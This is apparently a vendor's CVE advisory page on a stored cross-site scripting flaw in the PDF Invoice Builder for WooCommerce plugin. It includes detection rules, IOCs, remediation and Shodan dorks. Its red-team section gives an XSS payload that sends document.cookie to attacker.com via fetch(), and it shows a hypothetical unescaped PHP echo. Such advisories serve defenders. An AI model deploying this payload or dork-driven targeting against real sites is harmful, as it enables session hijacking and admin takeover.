☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Add-ons.org logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24755

CVE-2025-24755 Cross-Site Scripting in Add-ons.org
📅 PUBLISHED: 2025-01-24 18:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24755 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PDF Invoice Builder for WooCommerce (slug: pdf-for-woocommerce) by add-ons.org. The vulnerability affects all versions up to and including 4.6.0. An authenticated attacker with low privileges (e.g., a shop manager or customer) can inject malicious JavaScript into the PDF invoice generation functionality. When an administrator or other user views the generated PDF or the invoice preview within the WordPress admin panel, the injected script executes in their browser session. This can lead to session hijacking, credential theft, or defacement of the WordPress admin interface. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify the integrity of the plugin files by checking checksums provided by the vendor or WordPress.org. The lack of a patch increases supply chain risk, as users must rely on manual mitigation or temporary workarounds.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker needs a WordPress user account with access to the PDF invoice feature.
  • User Interaction: Required (UI:R) – the victim must view the malicious PDF or invoice preview.
  • Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification of content.
  • Availability Impact: Low (A:L) – limited disruption.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored XSS nature means the payload persists and can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation in the PDF invoice builder. The plugin likely accepts user input (e.g., custom order notes, billing details, or product descriptions) and embeds it directly into the HTML or PDF content without proper sanitization or encoding. When the PDF is generated or previewed in the browser, the injected script executes.

Attack Flow:

  1. An attacker with a WordPress account (e.g., a customer or shop manager) places an order or modifies an existing order.
  2. The attacker injects a malicious payload into a field that is rendered in the PDF invoice (e.g., the "Order Notes" field).
  3. The plugin stores the payload in the WordPress database.
  4. When an administrator or other user views the invoice (either as a PDF download or as an HTML preview in the admin panel), the payload executes.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the admin interface.

Root Cause: The plugin uses echo or print statements to output user data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (hypothetical):

// In a template file or function that generates the invoice
echo "<p>Order Note: " . $order->get_customer_note() . "</p>";

Patched Code (hypothetical):

// Properly escape the output
echo "<p>Order Note: " . esc_html( $order->get_customer_note() ) . "</p>";

The patched version uses esc_html() to convert special characters like <, >, ", ', and & into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress installation with the PDF Invoice Builder for WooCommerce plugin (version <= 4.6.0).
  • A user account with the ability to add order notes or modify billing details (e.g., a customer or shop manager).

Exploitation Steps:

  1. Log in to WordPress as a user with the required privileges.
  2. Create a new order or edit an existing one.
  3. In a field that is rendered in the PDF invoice (e.g., "Order Notes"), inject the following payload:
    <script>alert('XSS');</script>
    
  4. Save the order.
  5. As an administrator, navigate to the WooCommerce orders page and click "View Invoice" or download the PDF.
  6. The JavaScript executes, displaying an alert box.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual order notes or billing details containing <script> tags or event handlers like onload, onerror, onmouseover.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to WooCommerce endpoints.
  • Enable WordPress security plugins that scan for malicious content in user-submitted data.

Hunting:

  • Search the WordPress database for stored XSS payloads:
    SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
    
  • Review WooCommerce order notes for suspicious HTML/JavaScript.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage data.
    • Unusual Referer headers pointing to WordPress admin pages with invoice previews.
  • Host IOCs:

    • Presence of <script> tags or event handlers in the wp_postmeta table, specifically in meta keys related to order notes or billing fields.
    • Modified plugin files (e.g., pdf-for-woocommerce/includes/class-pdf-generator.php) containing backdoors.
  • File IOCs:

    • Suspicious entries in the WordPress wp-content/uploads/pdf-invoices/ directory (if PDFs are stored locally).

Detection Engineering

YARA Rule

rule CVE_2025_24755_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in PDF Invoice Builder for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24755"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/si
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in PDF Invoice Builder for WooCommerce
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WooCommerce order notes or billing fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in order notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24755 Stored XSS Payload in WooCommerce Order"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by the vendor.
  2. Restrict user roles – ensure only trusted users have the ability to add order notes or modify billing details.
  3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in WooCommerce-related POST data.
  4. Enable Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes all user input using WordPress's escaping functions (esc_html(), esc_attr(), wp_kses_post()).
  • Users should update to the patched version as soon as it becomes available.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching for this vulnerability.
  • Manually audit and sanitize the plugin's code if you have development resources.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/pdf-for-woocommerce"
http.html:"PDF Invoice Builder for WooCommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24755/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.